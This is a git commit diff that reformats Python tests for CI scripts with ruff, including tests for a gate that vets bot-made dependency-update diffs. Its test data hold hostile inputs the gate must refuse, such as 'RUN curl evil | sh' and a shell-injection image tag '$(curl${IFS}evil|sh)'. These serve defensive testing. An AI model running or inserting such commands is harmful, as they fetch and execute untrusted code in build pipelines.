style(scripts): format the scripts and their tests with ruff
Output of `ruff format` and nothing else, in its own commit so the diff is reviewable (#112). The ruff-check hook is skipped for this commit only: its findings are fixed in the next one. Co-Authored-By: Claude Sonnet 5.5 <[email protected]> Claude-Session: https://claude.ai/code/session_014uGZTNmHMc85bomfevwUDG
This commit is contained in:
1 parent
557f573df2
commit
db1c1e176f
12 files changed
+1520
-427
No files matched your search
@@ -1,6 +1,7 @@
|
||||
# SPDX-FileCopyrightText: Defame1297 and contributors
|
||||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||
"""Run with: python3 -m unittest discover -s tests/scripts"""
|
||||
|
||||
import os
|
||||
import pathlib
|
||||
import shutil
|
||||
@@ -33,8 +34,18 @@ CI_DOCKERFILE = "FROM x AS b\nCOPY requirements-dev.txt .pre-commit-config.yaml
|
||||
|
||||
|
||||
def run(cwd, *cmd):
|
||||
return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True,
|
||||
env={**os.environ, "GIT_CONFIG_GLOBAL": "/dev/null", "GIT_CONFIG_SYSTEM": "/dev/null"})
|
||||
return subprocess.run(
|
||||
cmd,
|
||||
cwd=cwd,
|
||||
check=True,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
env={
|
||||
**os.environ,
|
||||
"GIT_CONFIG_GLOBAL": "/dev/null",
|
||||
"GIT_CONFIG_SYSTEM": "/dev/null",
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
class PureTest(unittest.TestCase):
|
||||
@@ -82,12 +93,17 @@ class EntryAttributionTest(unittest.TestCase):
|
||||
self.assertEqual(out, SHUFFLED_YML.format(mol="0.1.1", ci="0.2.0"))
|
||||
|
||||
def test_entry_without_its_own_version_never_borrows_another(self):
|
||||
text = SHUFFLED_YML.format(mol="0.1.0", ci="0.2.0").replace(' version: "0.2.0"\n', "")
|
||||
text = SHUFFLED_YML.format(mol="0.1.0", ci="0.2.0").replace(
|
||||
' version: "0.2.0"\n', ""
|
||||
)
|
||||
with self.assertRaises(biv.civ.CheckError):
|
||||
biv.rewrite(text, {"mol": "0.1.1"})
|
||||
|
||||
def test_flow_style_entry_is_refused(self):
|
||||
text = SHUFFLED_YML.format(mol="0.1.0", ci="0.2.0") + " - {name: x, version: 1.0.0}\n"
|
||||
text = (
|
||||
SHUFFLED_YML.format(mol="0.1.0", ci="0.2.0")
|
||||
+ " - {name: x, version: 1.0.0}\n"
|
||||
)
|
||||
with self.assertRaises(biv.civ.CheckError):
|
||||
biv.rewrite(text, {"ci": "0.2.1"})
|
||||
|
||||
@@ -100,7 +116,9 @@ class RepoTest(unittest.TestCase):
|
||||
run(self.repo, "git", "init", "-q", "-b", "main")
|
||||
run(self.repo, "git", "config", "user.email", "[email protected]")
|
||||
run(self.repo, "git", "config", "user.name", "t")
|
||||
self.write(".gitea/workflows/image.yml", IMAGE_YML.format(mol="0.1.0", ci="0.2.0"))
|
||||
self.write(
|
||||
".gitea/workflows/image.yml", IMAGE_YML.format(mol="0.1.0", ci="0.2.0")
|
||||
)
|
||||
self.write("images/ci/Dockerfile", CI_DOCKERFILE)
|
||||
self.write("images/mol/Dockerfile", "FROM x\n")
|
||||
self.write("requirements-dev.txt", "a==1\n")
|
||||
@@ -118,8 +136,13 @@ class RepoTest(unittest.TestCase):
|
||||
run(self.repo, "git", "commit", "-q", "-m", msg)
|
||||
|
||||
def script(self, name, *args):
|
||||
proc = subprocess.run([sys.executable, str(SCRIPTS / name), *args], cwd=self.repo,
|
||||
capture_output=True, text=True, check=False)
|
||||
proc = subprocess.run(
|
||||
[sys.executable, str(SCRIPTS / name), *args],
|
||||
cwd=self.repo,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=False,
|
||||
)
|
||||
return proc.returncode, proc.stdout, proc.stderr
|
||||
|
||||
def bump(self, *args):
|
||||
@@ -161,7 +184,9 @@ class RepoTest(unittest.TestCase):
|
||||
|
||||
def test_higher_version_already_present_is_kept(self):
|
||||
self.write("images/mol/Dockerfile", "FROM y\n")
|
||||
self.write(".gitea/workflows/image.yml", IMAGE_YML.format(mol="0.3.0", ci="0.2.0"))
|
||||
self.write(
|
||||
".gitea/workflows/image.yml", IMAGE_YML.format(mol="0.3.0", ci="0.2.0")
|
||||
)
|
||||
self.assertEqual(self.bump()[1], "image versions: nothing to bump\n")
|
||||
self.assertEqual(self.versions(), IMAGE_YML.format(mol="0.3.0", ci="0.2.0"))
|
||||
|
||||
@@ -169,7 +194,9 @@ class RepoTest(unittest.TestCase):
|
||||
self.write("images/mol/new-file", "x\n") # untracked
|
||||
self.write("requirements-dev.txt", "a==2\n")
|
||||
out = self.bump()[1]
|
||||
self.assertEqual(out, "image versions: bumped ci 0.2.0 -> 0.2.1, mol 0.1.0 -> 0.1.1\n")
|
||||
self.assertEqual(
|
||||
out, "image versions: bumped ci 0.2.0 -> 0.2.1, mol 0.1.0 -> 0.1.1\n"
|
||||
)
|
||||
|
||||
def test_bad_base_ref_is_a_clean_failure(self):
|
||||
for ref in ("--output=x", "nope"):
|
||||
@@ -179,15 +206,22 @@ class RepoTest(unittest.TestCase):
|
||||
self.assertEqual(len(err.strip().splitlines()), 1, err)
|
||||
|
||||
def test_shuffled_key_order_bumps_the_right_entry_end_to_end(self):
|
||||
self.write(".gitea/workflows/image.yml", SHUFFLED_YML.format(mol="0.1.0", ci="0.2.0"))
|
||||
self.write(
|
||||
".gitea/workflows/image.yml", SHUFFLED_YML.format(mol="0.1.0", ci="0.2.0")
|
||||
)
|
||||
self.commit("shuffle")
|
||||
self.write("requirements-dev.txt", "a==2\n") # an input of ci only
|
||||
code, out, err = self.bump()
|
||||
self.assertEqual((code, out), (0, "image versions: bumped ci 0.2.0 -> 0.2.1\n"), err)
|
||||
self.assertEqual(
|
||||
(code, out), (0, "image versions: bumped ci 0.2.0 -> 0.2.1\n"), err
|
||||
)
|
||||
self.assertEqual(self.versions(), SHUFFLED_YML.format(mol="0.1.0", ci="0.2.1"))
|
||||
|
||||
def test_unparseable_entry_is_a_one_line_failure(self):
|
||||
flow = SHUFFLED_YML.format(mol="0.1.0", ci="0.2.0") + " - {name: x, version: 1.0.0}\n"
|
||||
flow = (
|
||||
SHUFFLED_YML.format(mol="0.1.0", ci="0.2.0")
|
||||
+ " - {name: x, version: 1.0.0}\n"
|
||||
)
|
||||
self.write(".gitea/workflows/image.yml", flow)
|
||||
self.commit("flow")
|
||||
self.write("requirements-dev.txt", "a==2\n")
|
||||
@@ -197,7 +231,11 @@ class RepoTest(unittest.TestCase):
|
||||
self.assertEqual(self.versions(), flow)
|
||||
|
||||
def test_crlf_line_endings_are_preserved(self):
|
||||
crlf = IMAGE_YML.format(mol="0.1.0", ci="0.2.0").replace("\n", "\r\n").encode("utf-8")
|
||||
crlf = (
|
||||
IMAGE_YML.format(mol="0.1.0", ci="0.2.0")
|
||||
.replace("\n", "\r\n")
|
||||
.encode("utf-8")
|
||||
)
|
||||
path = self.repo / ".gitea/workflows/image.yml"
|
||||
path.write_bytes(crlf)
|
||||
self.commit("crlf")
|
||||
@@ -220,11 +258,35 @@ class RepoTest(unittest.TestCase):
|
||||
self.commit("two")
|
||||
self.write("images/mol/Dockerfile", "FROM z\n")
|
||||
self.commit("three")
|
||||
run(self.repo.parent, "git", "clone", "-q", "--depth", "1", "--branch", "feature", f"file://{self.repo}",
|
||||
str(clone))
|
||||
run(clone, "git", "fetch", "-q", "--depth", "1", "origin", "main:refs/remotes/origin/main")
|
||||
proc = subprocess.run([sys.executable, str(SCRIPTS / "bump_image_versions.py"), "origin/main"], cwd=clone,
|
||||
capture_output=True, text=True, check=False)
|
||||
run(
|
||||
self.repo.parent,
|
||||
"git",
|
||||
"clone",
|
||||
"-q",
|
||||
"--depth",
|
||||
"1",
|
||||
"--branch",
|
||||
"feature",
|
||||
f"file://{self.repo}",
|
||||
str(clone),
|
||||
)
|
||||
run(
|
||||
clone,
|
||||
"git",
|
||||
"fetch",
|
||||
"-q",
|
||||
"--depth",
|
||||
"1",
|
||||
"origin",
|
||||
"main:refs/remotes/origin/main",
|
||||
)
|
||||
proc = subprocess.run(
|
||||
[sys.executable, str(SCRIPTS / "bump_image_versions.py"), "origin/main"],
|
||||
cwd=clone,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=False,
|
||||
)
|
||||
self.assertEqual(proc.returncode, 1)
|
||||
self.assertEqual(len(proc.stderr.strip().splitlines()), 1, proc.stderr)
|
||||
self.assertIn("git fetch --unshallow", proc.stderr)
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
# SPDX-FileCopyrightText: Defame1297 and contributors
|
||||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||
"""Run with: python3 -m unittest discover -s tests/scripts"""
|
||||
|
||||
import os
|
||||
import pathlib
|
||||
import subprocess
|
||||
@@ -19,10 +20,12 @@ FILES = {
|
||||
".pre-commit-config.yaml": "repos:\n - repo: https://github.com/x/y\n rev: v1.0.0\n hooks:\n - id: y\n",
|
||||
"images/ci/Dockerfile": f"FROM ubuntu:24.04@{D1} AS os\nRUN pip install uv==0.13.5 \\\n && echo hi\nRUN echo x\n",
|
||||
"images/molecule-ubuntu2404/Dockerfile": f"FROM ubuntu:24.04@{D1}\n",
|
||||
".gitea/workflows/image.yml": (f"jobs:\n image:\n matrix:\n include:\n - name: ci\n"
|
||||
f" version: 0.2.0\n job_image: ubuntu:24.04@{D1}\n"
|
||||
" container:\n image: ${{ matrix.job_image }}\n"
|
||||
" steps:\n - run: echo ok\n"),
|
||||
".gitea/workflows/image.yml": (
|
||||
f"jobs:\n image:\n matrix:\n include:\n - name: ci\n"
|
||||
f" version: 0.2.0\n job_image: ubuntu:24.04@{D1}\n"
|
||||
" container:\n image: ${{ matrix.job_image }}\n"
|
||||
" steps:\n - run: echo ok\n"
|
||||
),
|
||||
".gitea/workflows/lint.yml": f"container:\n image: git.rkdr.net/mortis/ci:0.2.0@{D1}\nrun: echo a\n",
|
||||
".gitea/workflows/molecule.yml": f"env:\n MOLECULE_IMAGE: >-\n git.rkdr.net/mortis/mol:0.1.0@{D1}\n",
|
||||
"renovate.json": "{}\n",
|
||||
@@ -30,8 +33,18 @@ FILES = {
|
||||
|
||||
|
||||
def run(cwd, *cmd):
|
||||
return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True,
|
||||
env={**os.environ, "GIT_CONFIG_GLOBAL": "/dev/null", "GIT_CONFIG_SYSTEM": "/dev/null"})
|
||||
return subprocess.run(
|
||||
cmd,
|
||||
cwd=cwd,
|
||||
check=True,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
env={
|
||||
**os.environ,
|
||||
"GIT_CONFIG_GLOBAL": "/dev/null",
|
||||
"GIT_CONFIG_SYSTEM": "/dev/null",
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
class RuleTest(unittest.TestCase):
|
||||
@@ -42,14 +55,36 @@ class RuleTest(unittest.TestCase):
|
||||
cases = [
|
||||
("requirements-dev.txt", "reuse==6.2.0", "reuse==6.3.0"),
|
||||
(".pre-commit-config.yaml", " rev: v1.0.0", " rev: v1.1.0"),
|
||||
("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", f"FROM ubuntu:24.10@{D2} AS os"),
|
||||
("images/ci/Dockerfile", "RUN pip install uv==0.13.5 \\", "RUN pip install uv==0.14.0 \\"),
|
||||
(".gitea/workflows/image.yml", " version: 0.2.0", " version: 0.2.1"),
|
||||
(".gitea/workflows/image.yml", f" job_image: ubuntu:24.04@{D1}", f" job_image: ubuntu:24.04@{D2}"),
|
||||
(".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
|
||||
f" image: git.rkdr.net/mortis/ci:0.2.1@{D2}"),
|
||||
(".gitea/workflows/molecule.yml", f" git.rkdr.net/mortis/mol:0.1.0@{D1}",
|
||||
f" git.rkdr.net/mortis/mol:0.1.1@{D2}"),
|
||||
(
|
||||
"images/ci/Dockerfile",
|
||||
f"FROM ubuntu:24.04@{D1} AS os",
|
||||
f"FROM ubuntu:24.10@{D2} AS os",
|
||||
),
|
||||
(
|
||||
"images/ci/Dockerfile",
|
||||
"RUN pip install uv==0.13.5 \\",
|
||||
"RUN pip install uv==0.14.0 \\",
|
||||
),
|
||||
(
|
||||
".gitea/workflows/image.yml",
|
||||
" version: 0.2.0",
|
||||
" version: 0.2.1",
|
||||
),
|
||||
(
|
||||
".gitea/workflows/image.yml",
|
||||
f" job_image: ubuntu:24.04@{D1}",
|
||||
f" job_image: ubuntu:24.04@{D2}",
|
||||
),
|
||||
(
|
||||
".gitea/workflows/lint.yml",
|
||||
f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
|
||||
f" image: git.rkdr.net/mortis/ci:0.2.1@{D2}",
|
||||
),
|
||||
(
|
||||
".gitea/workflows/molecule.yml",
|
||||
f" git.rkdr.net/mortis/mol:0.1.0@{D1}",
|
||||
f" git.rkdr.net/mortis/mol:0.1.1@{D2}",
|
||||
),
|
||||
]
|
||||
for path, old, new in cases:
|
||||
self.assertIsNone(self.problem(path, old, new), (path, old, new))
|
||||
@@ -59,18 +94,48 @@ class RuleTest(unittest.TestCase):
|
||||
("requirements-dev.txt", "reuse==6.2.0", "evil==1.0"),
|
||||
("requirements-dev.txt", "reuse==6.2.0", "reuse @ https://x/y.tgz"),
|
||||
(".pre-commit-config.yaml", " rev: v1.0.0", " repo: https://evil/x"),
|
||||
("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", f"FROM evil:1@{D2} AS os"),
|
||||
(
|
||||
"images/ci/Dockerfile",
|
||||
f"FROM ubuntu:24.04@{D1} AS os",
|
||||
f"FROM evil:1@{D2} AS os",
|
||||
),
|
||||
("images/ci/Dockerfile", "RUN echo x", "RUN curl evil | sh"),
|
||||
("images/ci/Dockerfile", "RUN pip install uv==0.13.5", "RUN pip install uv==0.14.0 evil"),
|
||||
(".gitea/workflows/image.yml", " - run: echo ok", " - run: echo evil"),
|
||||
(".gitea/workflows/image.yml", " image: ${{ matrix.job_image }}", f" image: ubuntu:24.04@{D1}"),
|
||||
(".gitea/workflows/image.yml", " image: ${{ matrix.job_image }}", " image: evil"),
|
||||
(".gitea/workflows/image.yml", f" job_image: ubuntu:24.04@{D1}", f" job_image: evil:1@{D1}"),
|
||||
(
|
||||
"images/ci/Dockerfile",
|
||||
"RUN pip install uv==0.13.5",
|
||||
"RUN pip install uv==0.14.0 evil",
|
||||
),
|
||||
(
|
||||
".gitea/workflows/image.yml",
|
||||
" - run: echo ok",
|
||||
" - run: echo evil",
|
||||
),
|
||||
(
|
||||
".gitea/workflows/image.yml",
|
||||
" image: ${{ matrix.job_image }}",
|
||||
f" image: ubuntu:24.04@{D1}",
|
||||
),
|
||||
(
|
||||
".gitea/workflows/image.yml",
|
||||
" image: ${{ matrix.job_image }}",
|
||||
" image: evil",
|
||||
),
|
||||
(
|
||||
".gitea/workflows/image.yml",
|
||||
f" job_image: ubuntu:24.04@{D1}",
|
||||
f" job_image: evil:1@{D1}",
|
||||
),
|
||||
(".gitea/workflows/lint.yml", "run: echo a", "run: echo b"),
|
||||
(".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
|
||||
f" image: git.rkdr.net/mortis/other:0.2.0@{D1}"),
|
||||
(".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
|
||||
f" image: git.rkdr.net/defame1297/ci:0.2.0@{D1}"),
|
||||
(
|
||||
".gitea/workflows/lint.yml",
|
||||
f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
|
||||
f" image: git.rkdr.net/mortis/other:0.2.0@{D1}",
|
||||
),
|
||||
(
|
||||
".gitea/workflows/lint.yml",
|
||||
f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
|
||||
f" image: git.rkdr.net/defame1297/ci:0.2.0@{D1}",
|
||||
),
|
||||
("renovate.json", "{}", '{"a": 1}'),
|
||||
("roles/x/tasks/main.yml", "a", "b"),
|
||||
]
|
||||
@@ -80,47 +145,97 @@ class RuleTest(unittest.TestCase):
|
||||
def test_job_image_lines_cannot_be_added_removed_or_moved(self):
|
||||
path = ".gitea/workflows/image.yml"
|
||||
line = f" job_image: ubuntu:24.04@{D1}"
|
||||
for old, new in ((line, ""), (" version: 0.2.0", f" version: 0.2.0\n{line}"),
|
||||
(" steps:", f" steps:\n{line}")):
|
||||
for old, new in (
|
||||
(line, ""),
|
||||
(" version: 0.2.0", f" version: 0.2.0\n{line}"),
|
||||
(" steps:", f" steps:\n{line}"),
|
||||
):
|
||||
self.assertIsNotNone(self.problem(path, old, new), (old, new))
|
||||
self.assertIsNotNone(self.problem(path, line, line.replace("job_image:", 'job_image: "') + '"'))
|
||||
self.assertIsNotNone(
|
||||
self.problem(path, line, line.replace("job_image:", 'job_image: "') + '"')
|
||||
)
|
||||
|
||||
def test_tag_charset_is_restricted(self):
|
||||
bad_tags = ["$(curl${IFS}evil|sh)", "a'b", 'a"b', "a;b", "a`b`", "a$b", "a b"]
|
||||
for tag in bad_tags:
|
||||
cases = [
|
||||
(".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
|
||||
f" image: git.rkdr.net/mortis/ci:{tag}@{D1}"),
|
||||
("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", f"FROM ubuntu:{tag}@{D1} AS os"),
|
||||
(".gitea/workflows/image.yml", f" job_image: ubuntu:24.04@{D1}", f" job_image: ubuntu:{tag}@{D1}"),
|
||||
(
|
||||
".gitea/workflows/lint.yml",
|
||||
f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
|
||||
f" image: git.rkdr.net/mortis/ci:{tag}@{D1}",
|
||||
),
|
||||
(
|
||||
"images/ci/Dockerfile",
|
||||
f"FROM ubuntu:24.04@{D1} AS os",
|
||||
f"FROM ubuntu:{tag}@{D1} AS os",
|
||||
),
|
||||
(
|
||||
".gitea/workflows/image.yml",
|
||||
f" job_image: ubuntu:24.04@{D1}",
|
||||
f" job_image: ubuntu:{tag}@{D1}",
|
||||
),
|
||||
]
|
||||
for path, old, new in cases:
|
||||
self.assertIsNotNone(self.problem(path, old, new), (path, tag))
|
||||
|
||||
def test_digest_may_not_be_dropped(self):
|
||||
cases = [
|
||||
("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", "FROM ubuntu:latest AS os"),
|
||||
("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", "FROM ubuntu AS os"),
|
||||
("images/ci/Dockerfile", "FROM ubuntu:24.04 AS os", f"FROM ubuntu:24.04@{D1} AS os"),
|
||||
(".gitea/workflows/image.yml", f" job_image: ubuntu:24.04@{D1}", " job_image: ubuntu:latest"),
|
||||
(".gitea/workflows/image.yml", " job_image: ubuntu:24.04", f" job_image: ubuntu:24.04@{D1}"),
|
||||
(
|
||||
"images/ci/Dockerfile",
|
||||
f"FROM ubuntu:24.04@{D1} AS os",
|
||||
"FROM ubuntu:latest AS os",
|
||||
),
|
||||
(
|
||||
"images/ci/Dockerfile",
|
||||
f"FROM ubuntu:24.04@{D1} AS os",
|
||||
"FROM ubuntu AS os",
|
||||
),
|
||||
(
|
||||
"images/ci/Dockerfile",
|
||||
"FROM ubuntu:24.04 AS os",
|
||||
f"FROM ubuntu:24.04@{D1} AS os",
|
||||
),
|
||||
(
|
||||
".gitea/workflows/image.yml",
|
||||
f" job_image: ubuntu:24.04@{D1}",
|
||||
" job_image: ubuntu:latest",
|
||||
),
|
||||
(
|
||||
".gitea/workflows/image.yml",
|
||||
" job_image: ubuntu:24.04",
|
||||
f" job_image: ubuntu:24.04@{D1}",
|
||||
),
|
||||
]
|
||||
for path, old, new in cases:
|
||||
self.assertIsNotNone(self.problem(path, old, new), (path, old, new))
|
||||
|
||||
def test_version_lines_stay_in_place_and_rise(self):
|
||||
v = " version: {}"
|
||||
self.assertIsNone(cbd.version_problem([(5, v.format("0.2.0"))], [(5, v.format("0.2.1"))]))
|
||||
self.assertIsNotNone(cbd.version_problem([(5, v.format("0.2.0"))], [(9, v.format("0.2.1"))]))
|
||||
self.assertIsNotNone(cbd.version_problem([(5, v.format("0.2.1"))], [(5, v.format("0.2.0"))]))
|
||||
self.assertIsNotNone(cbd.version_problem([(5, v.format("0.2.0"))], [(5, v.format("0.2.0"))]))
|
||||
swapped = cbd.version_problem([(5, v.format("0.1.0")), (9, v.format("0.2.0"))],
|
||||
[(5, v.format("0.2.0")), (9, v.format("0.1.0"))])
|
||||
self.assertIsNone(
|
||||
cbd.version_problem([(5, v.format("0.2.0"))], [(5, v.format("0.2.1"))])
|
||||
)
|
||||
self.assertIsNotNone(
|
||||
cbd.version_problem([(5, v.format("0.2.0"))], [(9, v.format("0.2.1"))])
|
||||
)
|
||||
self.assertIsNotNone(
|
||||
cbd.version_problem([(5, v.format("0.2.1"))], [(5, v.format("0.2.0"))])
|
||||
)
|
||||
self.assertIsNotNone(
|
||||
cbd.version_problem([(5, v.format("0.2.0"))], [(5, v.format("0.2.0"))])
|
||||
)
|
||||
swapped = cbd.version_problem(
|
||||
[(5, v.format("0.1.0")), (9, v.format("0.2.0"))],
|
||||
[(5, v.format("0.2.0")), (9, v.format("0.1.0"))],
|
||||
)
|
||||
self.assertIsNotNone(swapped)
|
||||
|
||||
def test_unequal_line_counts_are_refused(self):
|
||||
self.assertIsNotNone(cbd.file_problem("requirements-dev.txt", [], ["evil==1.0"]))
|
||||
self.assertIsNotNone(cbd.file_problem(".pre-commit-config.yaml", [" rev: a"], []))
|
||||
self.assertIsNotNone(
|
||||
cbd.file_problem("requirements-dev.txt", [], ["evil==1.0"])
|
||||
)
|
||||
self.assertIsNotNone(
|
||||
cbd.file_problem(".pre-commit-config.yaml", [" rev: a"], [])
|
||||
)
|
||||
|
||||
def test_patch_parser_keeps_dashed_content(self):
|
||||
patch = "diff --git a/f b/f\n--- a/f\n+++ b/f\n@@ -1 +1 @@\n--- x\n+++ y\n\\ No newline at end of file\n"
|
||||
@@ -153,19 +268,28 @@ class RepoTest(unittest.TestCase):
|
||||
run(self.repo, "git", "commit", "-q", "-m", msg)
|
||||
|
||||
def gate(self, head="renovate/x", base="main"):
|
||||
proc = subprocess.run([sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), head, base], cwd=self.repo,
|
||||
capture_output=True, text=True, check=False)
|
||||
proc = subprocess.run(
|
||||
[sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), head, base],
|
||||
cwd=self.repo,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=False,
|
||||
)
|
||||
return proc.returncode, proc.stdout, proc.stderr
|
||||
|
||||
def test_a_nul_containing_file_is_refused(self):
|
||||
self.write("requirements-dev.txt", "# pins\nansible-core==2.19.14\nreuse==6.3.0\n\0")
|
||||
self.write(
|
||||
"requirements-dev.txt", "# pins\nansible-core==2.19.14\nreuse==6.3.0\n\0"
|
||||
)
|
||||
self.commit("bot")
|
||||
code, unused, err = self.gate()
|
||||
self.assertEqual(code, 1, err)
|
||||
self.assertIn("requirements-dev.txt", err)
|
||||
|
||||
def test_a_utf16_rewrite_is_refused(self):
|
||||
text = (self.repo / "requirements-dev.txt").read_text().replace("6.2.0", "6.3.0")
|
||||
text = (
|
||||
(self.repo / "requirements-dev.txt").read_text().replace("6.2.0", "6.3.0")
|
||||
)
|
||||
(self.repo / "requirements-dev.txt").write_bytes(text.encode("utf-16"))
|
||||
self.commit("bot")
|
||||
code, unused, err = self.gate()
|
||||
@@ -182,9 +306,15 @@ class RepoTest(unittest.TestCase):
|
||||
|
||||
def test_binary_and_one_sided_patches_are_refused(self):
|
||||
entries = [("100644", "100644", "M", "requirements-dev.txt")]
|
||||
for patch in ("Binary files a/x and b/x differ\n", "", "@@ -1 +0,0 @@\n-reuse==6.2.0\n",
|
||||
"@@ -0,0 +1 @@\n+reuse==6.3.0\n"):
|
||||
self.assertEqual(len(cbd.check(entries, lambda path, text=patch: text)), 1, patch)
|
||||
for patch in (
|
||||
"Binary files a/x and b/x differ\n",
|
||||
"",
|
||||
"@@ -1 +0,0 @@\n-reuse==6.2.0\n",
|
||||
"@@ -0,0 +1 @@\n+reuse==6.3.0\n",
|
||||
):
|
||||
self.assertEqual(
|
||||
len(cbd.check(entries, lambda path, text=patch: text)), 1, patch
|
||||
)
|
||||
|
||||
def test_git_is_told_to_take_paths_literally(self):
|
||||
seen = []
|
||||
@@ -204,22 +334,41 @@ class RepoTest(unittest.TestCase):
|
||||
self.assertEqual(result[0], [])
|
||||
patches = [args for args in seen if "-U0" in args]
|
||||
self.assertTrue(patches)
|
||||
self.assertTrue(all(args[0] == "--literal-pathspecs" for args in patches), patches)
|
||||
self.assertTrue(all("--text" in args and "--no-textconv" in args and "--no-ext-diff" in args
|
||||
for args in patches), patches)
|
||||
self.assertTrue(
|
||||
all(args[0] == "--literal-pathspecs" for args in patches), patches
|
||||
)
|
||||
self.assertTrue(
|
||||
all(
|
||||
"--text" in args and "--no-textconv" in args and "--no-ext-diff" in args
|
||||
for args in patches
|
||||
),
|
||||
patches,
|
||||
)
|
||||
|
||||
def test_empty_head_ref_on_a_pull_request_fails_closed(self):
|
||||
self.write("roles/x/main.yml", "a\n")
|
||||
self.commit("anything")
|
||||
env = {**os.environ, "EVENT_NAME": "pull_request"}
|
||||
proc = subprocess.run([sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), "", "main"], cwd=self.repo,
|
||||
capture_output=True, text=True, check=False, env=env)
|
||||
proc = subprocess.run(
|
||||
[sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), "", "main"],
|
||||
cwd=self.repo,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=False,
|
||||
env=env,
|
||||
)
|
||||
self.assertEqual(proc.returncode, 1, proc.stderr)
|
||||
self.assertIn("empty", proc.stderr)
|
||||
self.assertEqual(len(proc.stderr.strip().splitlines()), 1, proc.stderr)
|
||||
env["EVENT_NAME"] = "push"
|
||||
proc = subprocess.run([sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), "", "main"], cwd=self.repo,
|
||||
capture_output=True, text=True, check=False, env=env)
|
||||
proc = subprocess.run(
|
||||
[sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), "", "main"],
|
||||
cwd=self.repo,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=False,
|
||||
env=env,
|
||||
)
|
||||
self.assertEqual(proc.returncode, 0, proc.stderr)
|
||||
|
||||
def test_lowering_a_matrix_version_fails_and_raising_it_passes(self):
|
||||
@@ -277,8 +426,16 @@ class RepoTest(unittest.TestCase):
|
||||
code, unused, err = self.gate(base="--output=x")
|
||||
self.assertEqual(code, 1)
|
||||
self.assertNotIn("Traceback", err)
|
||||
self.assertEqual(subprocess.run([sys.executable, str(SCRIPTS / "check_bot_pr_diff.py")], cwd=self.repo,
|
||||
capture_output=True, text=True, check=False).returncode, 2)
|
||||
self.assertEqual(
|
||||
subprocess.run(
|
||||
[sys.executable, str(SCRIPTS / "check_bot_pr_diff.py")],
|
||||
cwd=self.repo,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=False,
|
||||
).returncode,
|
||||
2,
|
||||
)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
# SPDX-FileCopyrightText: Defame1297 and contributors
|
||||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||
"""Run with: python3 -m unittest discover -s tests/scripts"""
|
||||
|
||||
import os
|
||||
import pathlib
|
||||
import subprocess
|
||||
@@ -14,7 +15,8 @@ import check_image_versions as civ # noqa: E402
|
||||
|
||||
DIGEST = "sha256:" + "a" * 64
|
||||
JOB = f"ubuntu:24.04@{DIGEST}"
|
||||
IMAGE_YML = """\
|
||||
IMAGE_YML = (
|
||||
"""\
|
||||
jobs:
|
||||
image:
|
||||
strategy:
|
||||
@@ -24,15 +26,20 @@ jobs:
|
||||
version: {mol}
|
||||
subpath: images/mol
|
||||
dockerfile: Dockerfile
|
||||
job_image: """ + JOB + """
|
||||
job_image: """
|
||||
+ JOB
|
||||
+ """
|
||||
- name: ci
|
||||
version: {ci}
|
||||
subpath: ""
|
||||
dockerfile: images/ci/Dockerfile
|
||||
job_image: """ + JOB + """
|
||||
job_image: """
|
||||
+ JOB
|
||||
+ """
|
||||
container:
|
||||
image: ${{{{ matrix.job_image }}}}
|
||||
"""
|
||||
)
|
||||
CI_DOCKERFILE = f"FROM {JOB} AS b\nCOPY requirements-dev.txt .pre-commit-config.yaml ./\nCOPY --from=b /a /b\n"
|
||||
|
||||
|
||||
@@ -41,24 +48,50 @@ def labelled(name, body=""):
|
||||
values = {key: "x" for key in civ.REQUIRED_LABELS}
|
||||
values["org.opencontainers.image.title"] = name
|
||||
values["org.opencontainers.image.source"] = "https://example.org"
|
||||
values["org.opencontainers.image.documentation"] = f"https://example.org/src/branch/main/docs/images/{name}.md"
|
||||
values["org.opencontainers.image.documentation"] = (
|
||||
f"https://example.org/src/branch/main/docs/images/{name}.md"
|
||||
)
|
||||
values["org.opencontainers.image.base.name"] = "ubuntu:24.04"
|
||||
return (f"FROM {JOB}\nLABEL " + " \\\n ".join(f'{k}="{v}"' for k, v in values.items()) + "\n" + body)
|
||||
return (
|
||||
f"FROM {JOB}\nLABEL "
|
||||
+ " \\\n ".join(f'{k}="{v}"' for k, v in values.items())
|
||||
+ "\n"
|
||||
+ body
|
||||
)
|
||||
|
||||
|
||||
def run(cwd, *cmd):
|
||||
return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True,
|
||||
